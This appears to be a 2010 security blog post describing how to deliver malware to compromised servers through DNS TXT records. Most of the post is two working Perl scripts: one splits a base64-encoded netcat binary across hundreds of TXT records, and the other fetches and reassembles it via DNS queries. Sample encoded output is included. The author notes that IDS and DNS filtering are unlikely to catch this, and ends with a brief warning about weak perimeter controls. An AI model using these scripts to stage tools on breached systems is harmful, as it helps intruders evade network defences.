Tuesday 8 June 2010

Deliver your malware by DNS

HTTP is probably the most common way for distributing malware and for downloading tools onto compromised systems. Too many people are still allowing unfettered access from their server farm to port 80, but perhaps things are getting better. In the hope that one day servers won't be able to wget the latest rootkit once they're owned what other ways are their to deliver a payload?

The domain name system allows for TXT records that can contain a text string. Once intended to hold human-readable information about a host it can and has been used to store other information such as SPF and DKIM records. Since we can feed arbitrary text data into a TXT record we could use this to store binaries data encoded as text using base64 or uuencode for example. I thought I would give this a go an wrote a little perl script to encode a file into DNS entries.
#!/usr/bin/perl
use MIME::Base64;
use Digest::MD5 qw(md5_hex);

# Get content source
$file = "nc.exe";
$name = "nc";
$prefix = "part";
$domain = ".example.net.";

open IN, "<$file" || die "Cannot open $file: $?\n"; while () {
$string .= $_;
}
close IN;

$md5 = md5_hex($string);
@parts = split("\n",encode_base64($string));
$numparts = $#parts + 1;

$output = "${name}${domain} IN TXT \"md5=$md5; prefix=${prefix}; parts=$numparts;\"\n";
for ($i = 0; $i <= $#parts; $i++) {
$output .= "${prefix}${i}${domain} IN TXT \"$parts[$i]\"\n";
}
print $output;
What you get out from this script is a list BIND zone file style DNS records. I encoded the old favourite netcat and the first few lines of output are shown below.
nc IN TXT "md5=28dd8edad7008289957031606f210675; prefix=part; parts=459;"
part0 IN TXT "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
part1 IN TXT "AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v"
part2 IN TXT "ZGUuDQ0KJAAAAAAAAABQRQAATAEFAKlLOT8AAAAAAAAAAOAADwILAQI4AFQAAABiAAAAAgAAABAA"
part3 IN TXT "AAAQAAAAcAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAACwAAAABAAAVLEAAAMAAAAAACAA"
The first record is a contains the metadata relating to the encoded file. It consists of the MD5 checksum of the original file, a prefix for the TXT records containing the data and the number of records the payload is split across. Add a number starting from zero to the prefix, request, increment and repeat.

This script recovers the encoded file using DNS queries.
#!/usr/bin/perl
use MIME::Base64;
use Digest::MD5 qw(md5_hex);
use Net::DNS::RR;

$file = "nc";
$domain = "example.net";

$res = Net::DNS::Resolver->new( nameservers => [qw(127.0.0.1)] );
my $answer = $res->query("$file.$domain", 'TXT');
@txt=$answer->answer;
($initial) =  $txt[0]->char_str_list();

# extract content checksum, prefix and number of parts
$initial =~ /md5=(.*?);.*prefix=(.*?);.*parts=(.*?);/;
$md5    = $1;
$prefix = $2;
$parts  = $3;

for ($i = 0; $i < $parts; $i++) {
my $frag = $prefix . $i . "." . $domain;
my $answer = $res->query("$frag", 'TXT');
my @frags =$answer->answer;
my ($string) = $frags[0]->char_str_list();
$payload .= $string;
}

$binary = decode_base64($payload);
if (md5_hex($binary) == $md5) {
print STDERR "md5sum matches\n";
}

open OUT, ">testfile";
print OUT $binary;
close OUT;
It looks like a lot more work than dropping a file on an FTP server, and to tell the truth it is, so why bother. I can think of a few reasons. Who bothers to filter DNS requests? Who bothers to check DNS responses for malicious payloads? What IDS system is going to detect an encoded file split over hundreds or thousands of DNS requests?

If we start making it harder to deliver malware by HTTP the bay guys will up their game. It's easy to see that they don't need to up much to defeat the perimeter controls of most organisations by abusing a service core to the way the Internet works.

No comments:

Post a Comment